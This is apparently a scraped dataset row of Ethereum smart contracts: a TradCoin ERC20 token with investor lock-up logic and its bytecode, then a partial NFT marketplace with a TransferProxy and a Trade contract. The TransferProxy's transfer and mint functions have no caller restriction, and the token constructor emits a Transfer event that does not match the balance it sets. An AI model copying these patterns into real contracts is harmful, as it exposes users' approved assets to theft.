address public distributor;
// The time after which Trad tokens become transferable.
// Current value is July 30, 2018 23:59:59 Eastern Time.
uint256 becomesTransferable = 1533009599;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
// balances allowed to transfer during locking
mapping (address => uint256) internal balancesAllowedToTransfer;
//mapping to show person is investor or team/project, true=>investor, false=>team/project
mapping (address => bool) public isInvestor;
event DistributorTransferred(address indexed _from, address indexed _to);
event Allocated(address _owner, address _investor, uint256 _tokenAmount);
constructor(address _distributor) public {
require (_distributor != address(0x0));
name = "TradCoin";
symbol = "TRADCoin";
decimals = 18 ;
totalSupply = 300e6 * 10**18; // 300 million tokens
owner = msg.sender;
distributor = _distributor;
balances[distributor] = totalSupply;
emit Transfer(0x0, owner, totalSupply);
}
/// manually send tokens to investor
function allocateTokensToInvestors(address _to, uint256 _value) public onlyOwner returns (bool success) {
require(_to != address(0x0));
require(_value > 0);
uint256 unlockValue = (_value.mul(30)).div(100);
// SafeMath.sub will throw if there is not enough balance.
balances[distributor] = balances[distributor].sub(_value);
balances[_to] = balances[_to].add(_value);
balancesAllowedToTransfer[_to] = unlockValue;
isInvestor[_to] = true;
emit Allocated(msg.sender, _to, _value);
return true;
}
/// manually send tokens to investor
function allocateTokensToTeamAndProjects(address _to, uint256 _value) public onlyOwner returns (bool success) {
require(_to != address(0x0));
require(_value > 0);
// SafeMath.sub will throw if there is not enough balance.
balances[distributor] = balances[distributor].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Allocated(msg.sender, _to, _value);
return true;
}
/**
* @dev Check balance of given account address
* @param owner The address account whose balance you want to know
* @return balance of the account
*/
function balanceOf(address owner) public view returns (uint256){
return balances[owner];
}
/**
* @dev transfer token for a specified address (written due to backward compatibility)
* @param to address to which token is transferred
* @param value amount of tokens to transfer
* return bool true=> transfer is succesful
*/
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0x0));
require(value <= balances[msg.sender]);
uint256 valueAllowedToTransfer;
if(isInvestor[msg.sender]){
if (now >= becomesTransferable){
valueAllowedToTransfer = balances[msg.sender];
assert(value <= valueAllowedToTransfer);
}else{
valueAllowedToTransfer = balancesAllowedToTransfer[msg.sender];
assert(value <= valueAllowedToTransfer);
balancesAllowedToTransfer[msg.sender] = balancesAllowedToTransfer[msg.sender].sub(value);
}
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address from which token is transferred
* @param to address to which token is transferred
* @param value amount of tokens to transfer
* @return bool true=> transfer is succesful
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0x0));
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
uint256 valueAllowedToTransfer;
if(isInvestor[from]){
if (now >= becomesTransferable){
valueAllowedToTransfer = balances[from];
assert(value <= valueAllowedToTransfer);
}else{
valueAllowedToTransfer = balancesAllowedToTransfer[from];
assert(value <= valueAllowedToTransfer);
balancesAllowedToTransfer[from] = balancesAllowedToTransfer[from].sub(value);
}
}
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
//function to check available balance to transfer tokens during locking perios for investors
function availableBalanceInLockingPeriodForInvestor(address owner) public view returns(uint256){
return balancesAllowedToTransfer[owner];
}
/**
* @dev Approve function will delegate spender to spent tokens on msg.sender behalf
* @param spender ddress which is delegated
* @param value tokens amount which are delegated
* @return bool true=> approve is succesful
*/
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev it will check amount of token delegated to spender by owner
* @param owner the address which allows someone to spend fund on his behalf
* @param spender address which is delegated
* @return return uint256 amount of tokens left with delegator
*/
function allowance(address owner, address spender) public view returns (uint256) {
return allowed[owner][spender];
}
/**
* @dev increment the spender delegated tokens
* @param spender address which is delegated
* @param valueToAdd tokens amount to increment
* @return bool true=> operation is succesful
*/
function increaseApproval(address spender, uint valueToAdd) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(valueToAdd);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev deccrement the spender delegated tokens
* @param spender address which is delegated
* @param valueToSubstract tokens amount to decrement
* @return bool true=> operation is succesful
*/
function decreaseApproval(address spender, uint valueToSubstract) public returns (bool) {
uint oldValue = allowed[msg.sender][spender];
if (valueToSubstract > oldValue) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldValue.sub(valueToSubstract);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a657806366188463146102d757806370a082311461033c5780638da5cb5b14610393578063955d1721146103ea57806395d89b4114610441578063a9059cbb146104d1578063b13413b014610536578063bfe109281461059b578063cd5777e2146105f2578063cee2a9cf14610657578063d73dd623146106b2578063dd62ed3e14610717578063f2fde38b1461078e575b600080fd5b34801561010d57600080fd5b506101166107d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086f565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610961565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610967565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610ebe565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed1565b604051808215151515815260200191505060405180910390f35b34801561034857600080fd5b5061037d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611162565b6040518082815260200191505060405180910390f35b34801561039f57600080fd5b506103a86111ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b5061042b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d0565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456611219565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049657808201518184015260208101905061047b565b50505050905090810190601f1680156104c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104dd57600080fd5b5061051c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112b7565b604051808215151515815260200191505060405180910390f35b34801561054257600080fd5b50610581600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611673565b604051808215151515815260200191505060405180910390f35b3480156105a757600080fd5b506105b0611932565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fe57600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611958565b604051808215151515815260200191505060405180910390f35b34801561066357600080fd5b50610698600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cde565b604051808215151515815260200191505060405180910390f35b3480156106be57600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cfe565b604051808215151515815260200191505060405180910390f35b34801561072357600080fd5b50610778600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611efa565b6040518082815260200191505060405180910390f35b34801561079a57600080fd5b506107cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f81565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156109a657600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156109f457600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a7f57600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c145760055442101515610b2f57600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311151515610b2a57fe5b610c13565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311151515610b7d57fe5b610bcf83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b610c6683600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfb83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200190919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600460009054906101000a900460ff1681565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe2576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611076565b610ff58382611fe890919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112af5780601f10611284576101008083540402835291602001916112af565b820191906000526020600020905b81548152906001019060200180831161129257829003601f168201915b505050505081565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156112f657600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561134457600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114d957600554421015156113f457600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111515156113ef57fe5b6114d8565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115151561144257fe5b61149483600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b61152b83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c083600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200190919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561170c57600080fd5b60008211151561171b57600080fd5b61178f8260066000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b60066000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184682600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200190919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fbe8864d3a5ed38c5e26974fcc84f97fd03d55f6b774d46b844205d5f7b6b5c0b338484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156119f257600080fd5b600083111515611a0157600080fd5b611a286064611a1a601e8661201f90919063ffffffff16565b61205290919063ffffffff16565b9050611a9e8360066000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe890919063ffffffff16565b60066000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5583600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200190919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fbe8864d3a5ed38c5e26974fcc84f97fd03d55f6b774d46b844205d5f7b6b5c0b338585604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600191505092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000611d8f82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fdc57600080fd5b611fe58161206d565b50565b6000828211151515611ff657fe5b818303905092915050565b600080828401905083811015151561201557fe5b8091505092915050565b60008082840290506000841480612040575082848281151561203d57fe5b04145b151561204857fe5b8091505092915050565b600080828481151561206057fe5b0490508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582076cf8c836fc2e588c76576f68ee1db5112fae493d9bbfc8e985030d059ed575f0029 | {"success": true, "error": null, "results": {}} | 1,989 |
0xb5f490dda0575ed8231a1c4b679bacdf896c470a | // SPDX-License-Identifier:UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
function royaltyFee(uint256 tokenId) external view returns(address[] memory, uint256[] memory);
function getCreator(uint256 tokenId) external view returns(address);
function contractOwner() external view returns(address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function createCollectible(address from, string memory tokenURI, address[] memory royalty, uint256[] memory _royaltyFee) external returns(uint256);
function mintAndTransfer(address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, string memory _tokenURI, bytes memory data)external returns(uint256);
}
interface IERC1155 is IERC165 {
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
function royaltyFee(uint256 tokenId) external view returns(address[] memory, uint256[] memory);
function getCreator(uint256 tokenId) external view returns(address);
function mint(address from, string memory uri, uint256 supply, address[] memory royaltyAddress, uint256[] memory _royaltyFee) external;
function mintAndTransfer(address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
contract TransferProxy {
function erc721mint(IERC721 token, address from, string memory tokenURI, address[] memory royalty, uint256[] memory royaltyFee) external {
token.createCollectible(from, tokenURI, royalty, royaltyFee);
}
function erc1155mint(IERC1155 token, address from, string memory tokenURI, address[] memory royalty, uint256[] memory royaltyFee, uint256 supply) external {
token.mint(from, tokenURI, supply, royalty, royaltyFee);
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
token.safeTransferFrom(from, to, id, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
require(token.transferFrom(from, to, value), "failure while transferring");
}
function erc721mintAndTransfer(IERC721 token, address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, string memory tokenURI, bytes calldata data) external {
token.mintAndTransfer(from, to, _royaltyAddress, _royaltyfee, tokenURI, data);
}
function erc1155mintAndTransfer(IERC1155 token, address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external {
token.mintAndTransfer(from, to, _royaltyAddress, _royaltyfee, supply, tokenURI, qty, data);
}
}
contract Trade {
enum BuyingAssetType {ERC1155, ERC721 , LazyMintERC1155, LazyMintERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event MintersAdded(address indexed minters);
event MintersRemoved(address indexed minters);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
address public owner;
mapping (address => bool) internal minters;
struct Fee {
uint platformFee;
uint assetFee;
address[] royaltyAddress;
uint[] royaltyFee;
uint price;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
uint unitPrice;
uint amount;
uint tokenId;
uint256 supply;
string tokenURI;
address[] royaltyAddress;
uint256[] royaltyfee;
uint qty;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyMinter() {
require(minters[msg.sender], "Minter : caller is not the minter");
_;
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) {
buyerFeePermille = _buyerFee;
sellerFeePermille = _sellerFee;
transferProxy = _transferProxy;
owner = msg.sender;
}
function buyerServiceFee() external view virtual returns (uint8) {
return buyerFeePermille;
}
function sellerServiceFee() external view virtual returns (uint8) {
return sellerFeePermille;
}
function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) {
buyerFeePermille = _buyerFee;
emit BuyerFee(buyerFeePermille);
return true;
}
function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) {
sellerFeePermille = _sellerFee;
emit SellerFee(sellerFeePermille);
return true;
}
function transferOwnership(address newOwner) external onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) {
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s);
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount));
require(seller == getSigner(hash, sign), "seller sign verification failed");
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount,qty));
require(buyer == getSigner(hash, sign), "buyer sign verification failed");
}
function getFees(Order memory order) internal view returns(Fee memory){
uint platformFee;
uint fee;
address[] memory royaltyAddress;
uint[] memory royaltyPermille;
uint assetFee;
uint price = order.amount * 1000 / (1000 + buyerFeePermille);
uint buyerFee = order.amount - price;
uint sellerFee = price * sellerFeePermille / 1000;
platformFee = buyerFee + sellerFee;
if(order.nftType == BuyingAssetType.ERC721) {
(royaltyAddress, royaltyPermille) = ((IERC721(order.nftAddress).royaltyFee(order.tokenId)));
}
if(order.nftType == BuyingAssetType.ERC1155) {
(royaltyAddress, royaltyPermille) = ((IERC1155(order.nftAddress).royaltyFee(order.tokenId)));
}
if(order.nftType == BuyingAssetType.LazyMintERC721) {
royaltyAddress = order.royaltyAddress;
royaltyPermille = order.royaltyfee;
}
if(order.nftType == BuyingAssetType.LazyMintERC1155) {
royaltyAddress = order.royaltyAddress;
royaltyPermille = order.royaltyfee;
}
uint[] memory royaltyFee = new uint[](royaltyAddress.length);
for(uint i = 0; i < royaltyAddress.length; i++) {
fee += price * royaltyPermille[i] / 1000;
royaltyFee[i] = price * royaltyPermille[i] / 1000;
}
assetFee = price - fee - sellerFee;
return Fee(platformFee, assetFee, royaltyAddress, royaltyFee, price);
}
function tradeAsset(Order calldata order, Fee memory fee, address buyer, address seller) internal virtual {
if(order.nftType == BuyingAssetType.ERC721) {
transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), seller, buyer, order.tokenId);
}
if(order.nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), seller, buyer, order.tokenId, order.qty, "");
}
if(order.nftType == BuyingAssetType.LazyMintERC721){
transferProxy.erc721mintAndTransfer(IERC721(order.nftAddress), order.seller, order.buyer, order.royaltyAddress, order.royaltyfee, order.tokenURI,"" );
}
if(order.nftType == BuyingAssetType.LazyMintERC1155){
